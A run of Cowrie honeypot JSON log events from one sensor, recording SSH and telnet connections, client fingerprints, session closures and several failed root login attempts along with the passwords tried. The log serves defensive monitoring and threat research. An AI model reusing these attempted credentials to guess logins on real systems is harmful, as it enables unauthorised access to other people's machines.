{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":43318,"dst_ip":"10.17.0.5","dst_port":22,"session":"8477963ad0f4","protocol":"ssh","message":"New connection: 193.39.208.26:43318 (10.17.0.5:22) [session: 8477963ad0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:18.212845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:18.218178Z","src_ip":"193.39.208.26","session":"8477963ad0f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:18.301666Z","src_ip":"193.39.208.26","session":"8477963ad0f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ","message":"login attempt [root/1qaz2wsx!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:18.667743Z","src_ip":"193.39.208.26","session":"8477963ad0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.019458532333374,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:19.026501Z","src_ip":"192.119.13.58","session":"991fd0c18906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:19.753393Z","src_ip":"193.39.208.26","session":"8477963ad0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":35420,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b803cc26990","protocol":"ssh","message":"New connection: 185.236.22.41:35420 (159.203.135.109:22) [session: 5b803cc26990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:20.784234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:20.793181Z","src_ip":"185.236.22.41","session":"5b803cc26990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:20.916459Z","src_ip":"185.236.22.41","session":"5b803cc26990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345l","message":"login attempt [root/12345l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:21.321362Z","src_ip":"185.236.22.41","session":"5b803cc26990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46042,"dst_ip":"10.17.0.5","dst_port":23,"session":"745b7ecde258","protocol":"telnet","message":"New connection: 192.119.13.58:46042 (10.17.0.5:23) [session: 745b7ecde258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:21.573151Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48460,"dst_ip":"10.17.0.5","dst_port":23,"session":"558c9f7975ee","protocol":"telnet","message":"New connection: 192.119.13.58:48460 (10.17.0.5:23) [session: 558c9f7975ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:22.244911Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:22.458556Z","src_ip":"185.236.22.41","session":"5b803cc26990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.70151114463806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:23.733629Z","src_ip":"192.119.13.58","session":"e3736249c4d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60031795501709,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:25.476143Z","src_ip":"192.119.13.58","session":"a2af00861bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34284,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7074dbc6f1","protocol":"telnet","message":"New connection: 192.119.13.58:34284 (10.17.0.5:23) [session: bc7074dbc6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:25.739448Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43978,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db2e8bbb23e","protocol":"telnet","message":"New connection: 192.119.13.58:43978 (10.17.0.5:23) [session: 0db2e8bbb23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:28.068307Z"}
{"eventid":"cowrie.session.closed","duration":49.91920518875122,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:29.355069Z","src_ip":"192.119.13.58","session":"6a29fb30b400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.34012842178345,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:29.496945Z","src_ip":"186.195.16.41","session":"dec5bf675f41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.326451539993286,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:29.620343Z","src_ip":"192.119.13.58","session":"ec920988f162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.117","src_port":34814,"dst_ip":"10.17.0.5","dst_port":22,"session":"55c0e660e444","protocol":"ssh","message":"New connection: 66.132.195.117:34814 (10.17.0.5:22) [session: 55c0e660e444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:30.526687Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55168,"dst_ip":"10.17.0.5","dst_port":23,"session":"157f7c15228e","protocol":"telnet","message":"New connection: 192.119.13.58:55168 (10.17.0.5:23) [session: 157f7c15228e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:30.839177Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b95e5aa3fb0","protocol":"telnet","message":"New connection: 192.119.13.58:56246 (10.17.0.5:23) [session: 8b95e5aa3fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:31.053415Z"}
{"eventid":"cowrie.session.closed","duration":120.0013267993927,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:31.633546Z","src_ip":"186.195.16.41","session":"61748f656afc","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:31.875881Z","src_ip":"66.132.195.117","session":"55c0e660e444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:31.880140Z","src_ip":"66.132.195.117","session":"55c0e660e444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34632,"dst_ip":"10.17.0.5","dst_port":23,"session":"769e8d0ceb2a","protocol":"telnet","message":"New connection: 192.119.13.58:34632 (10.17.0.5:23) [session: 769e8d0ceb2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:32.559871Z"}
{"eventid":"cowrie.session.closed","duration":33.12238669395447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:35.836352Z","src_ip":"192.119.13.58","session":"ff5702a34ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46916,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e4257e8362","protocol":"telnet","message":"New connection: 192.119.13.58:46916 (10.17.0.5:23) [session: f8e4257e8362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:36.594210Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54386,"dst_ip":"10.17.0.5","dst_port":23,"session":"b367e2a4bb25","protocol":"telnet","message":"New connection: 192.119.13.58:54386 (10.17.0.5:23) [session: b367e2a4bb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:37.365847Z"}
{"eventid":"cowrie.session.closed","duration":42.18142247200012,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:37.598015Z","src_ip":"192.119.13.58","session":"71636f08759f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.09251070022583,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:38.554350Z","src_ip":"192.119.13.58","session":"e7da8994a7f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.920072078704834,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:44.774757Z","src_ip":"192.119.13.58","session":"2b6ba0b013fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.18749260902405,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:45.615019Z","src_ip":"192.119.13.58","session":"7dbdb50ee898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:46.984580Z","src_ip":"66.132.195.117","session":"55c0e660e444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.21363711357117,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:48.123677Z","src_ip":"192.119.13.58","session":"d04d8c844868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.96159791946411,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:50.126861Z","src_ip":"192.119.13.58","session":"3597b24698f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":59296,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef1457c51c5","protocol":"ssh","message":"New connection: 49.51.73.108:59296 (10.17.0.5:22) [session: cef1457c51c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:50.840763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:50.845756Z","src_ip":"49.51.73.108","session":"cef1457c51c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:50.914325Z","src_ip":"49.51.73.108","session":"cef1457c51c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132132","message":"login attempt [root/132132] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:51.220171Z","src_ip":"49.51.73.108","session":"cef1457c51c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:52.291241Z","src_ip":"49.51.73.108","session":"cef1457c51c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39050,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20e388f8e6e","protocol":"telnet","message":"New connection: 192.119.13.58:39050 (10.17.0.5:23) [session: b20e388f8e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:53.522617Z"}
{"eventid":"cowrie.session.closed","duration":40.69896960258484,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:55.961506Z","src_ip":"192.119.13.58","session":"e17ef14427cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.61419868469238,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:56.377257Z","src_ip":"192.119.13.58","session":"0c8b94072d00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f9b1cb4aec5","protocol":"telnet","message":"New connection: 192.119.13.58:56072 (10.17.0.5:23) [session: 6f9b1cb4aec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:57.419454Z"}
{"eventid":"cowrie.session.closed","duration":36.03364086151123,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:57.606654Z","src_ip":"192.119.13.58","session":"745b7ecde258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33274,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd2e54648030","protocol":"telnet","message":"New connection: 192.119.13.58:33274 (10.17.0.5:23) [session: bd2e54648030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:58.707273Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60004,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c079e42b443","protocol":"telnet","message":"New connection: 192.119.13.58:60004 (10.17.0.5:23) [session: 2c079e42b443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:59.442418Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39250,"dst_ip":"10.17.0.5","dst_port":23,"session":"4121b97a072a","protocol":"telnet","message":"New connection: 192.119.13.58:39250 (10.17.0.5:23) [session: 4121b97a072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:00.038064Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57096,"dst_ip":"10.17.0.5","dst_port":23,"session":"92270db0f42a","protocol":"telnet","message":"New connection: 192.119.13.58:57096 (10.17.0.5:23) [session: 92270db0f42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:04.380891Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"7459c4d978a6","protocol":"ssh","message":"New connection: 77.94.47.83:35428 (159.203.135.109:22) [session: 7459c4d978a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:05.037708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:05.043155Z","src_ip":"77.94.47.83","session":"7459c4d978a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:05.169679Z","src_ip":"77.94.47.83","session":"7459c4d978a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasin414","message":"login attempt [root/sasin414] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:05.541097Z","src_ip":"77.94.47.83","session":"7459c4d978a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:06.668589Z","src_ip":"77.94.47.83","session":"7459c4d978a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75452542304993,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:07.593594Z","src_ip":"192.119.13.58","session":"157f7c15228e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.020198583602905,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:08.265000Z","src_ip":"192.119.13.58","session":"558c9f7975ee","protocol":"telnet"}
